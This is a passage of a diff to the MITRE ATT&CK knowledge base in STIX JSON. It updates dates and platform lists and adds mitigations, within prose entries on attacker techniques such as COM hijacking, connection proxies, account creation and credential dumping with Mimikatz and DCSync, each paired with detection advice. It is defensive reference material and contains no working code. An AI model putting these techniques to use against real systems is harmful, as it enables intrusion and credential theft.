+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Command-Line Interface Mitigation",
             "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -2064,9 +2095,9 @@
             "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:49.546Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Command-Line Interface",
-            "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
+            "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2099,20 +2130,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ],
             "x_mitre_remote_support": false
         },
@@ -2120,8 +2139,8 @@
             "type": "course-of-action",
             "id": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Commonly Used Port Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -2142,9 +2161,9 @@
             "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:42.657Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Commonly Used Port",
-            "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2174,29 +2193,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Communication Through Removable Media Mitigation",
             "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
             "external_references": [
@@ -2222,9 +2229,9 @@
             "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:09.379Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Communication Through Removable Media",
-            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
+            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2247,21 +2254,9 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
@@ -2269,9 +2264,9 @@
             "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:22.374Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Component Firmware",
-            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
+            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2300,30 +2295,19 @@
             "x_mitre_permissions_required": [
                 "SYSTEM"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_system_requirements": [
                 "Ability to update component device firmware from the host operating system."
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Component Object Model Hijacking Mitigation",
             "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -2364,9 +2348,9 @@
             "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:33.979Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Component Object Model Hijacking",
-            "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
+            "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2410,33 +2394,22 @@
                 "DLL monitoring",
                 "Loaded DLLs"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_defense_bypassed": [
                 "Autoruns Analysis"
             ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Connection Proxy Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -2457,9 +2430,9 @@
             "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:08.479Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Connection Proxy",
-            "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
+            "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -2497,29 +2470,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create Account Mitigation",
             "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
             "external_references": [
@@ -2535,13 +2496,13 @@
             "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create Account",
-            "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
+            "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
-                    "phase_name": "credential-access"
+                    "phase_name": "persistence"
                 }
             ],
             "external_references": [
@@ -2566,21 +2527,9 @@
                 "Windows event logs"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_permissions_required": [
                 "Administrator"
@@ -2590,10 +2539,10 @@
             "type": "course-of-action",
             "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credential Dumping Mitigation",
-            "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)",
+            "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -2638,6 +2587,21 @@
                 {
                     "source_name": "GitHub SHB Credential Guard",
                     "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017."
+                },
+                {
+                    "source_name": "AdSecurity DCSync Sept 2015",
+                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
+                    "url": "https://adsecurity.org/?p=1729"
+                },
+                {
+                    "source_name": "Microsoft Replication ACL",
+                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
+                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
+                },
+                {
+                    "source_name": "Microsoft Disable NTLM Nov 2012",
+                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
+                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
                 }
             ]
         },
@@ -2646,9 +2610,9 @@
             "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:19.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credential Dumping",
-            "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. The action works by simulating a domain controller replication process from a remote domain controller, which may contain various pieces of information included in Active Directory such as passwords, historical hashes, and current hashes of potentially useful accounts, such as the KRBTGT account NTLM hash. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data. (Citation: ADSecurity Mimikatz DCSync) The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket. (Citation: Harmj0y Mimikatz and DCSync) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service 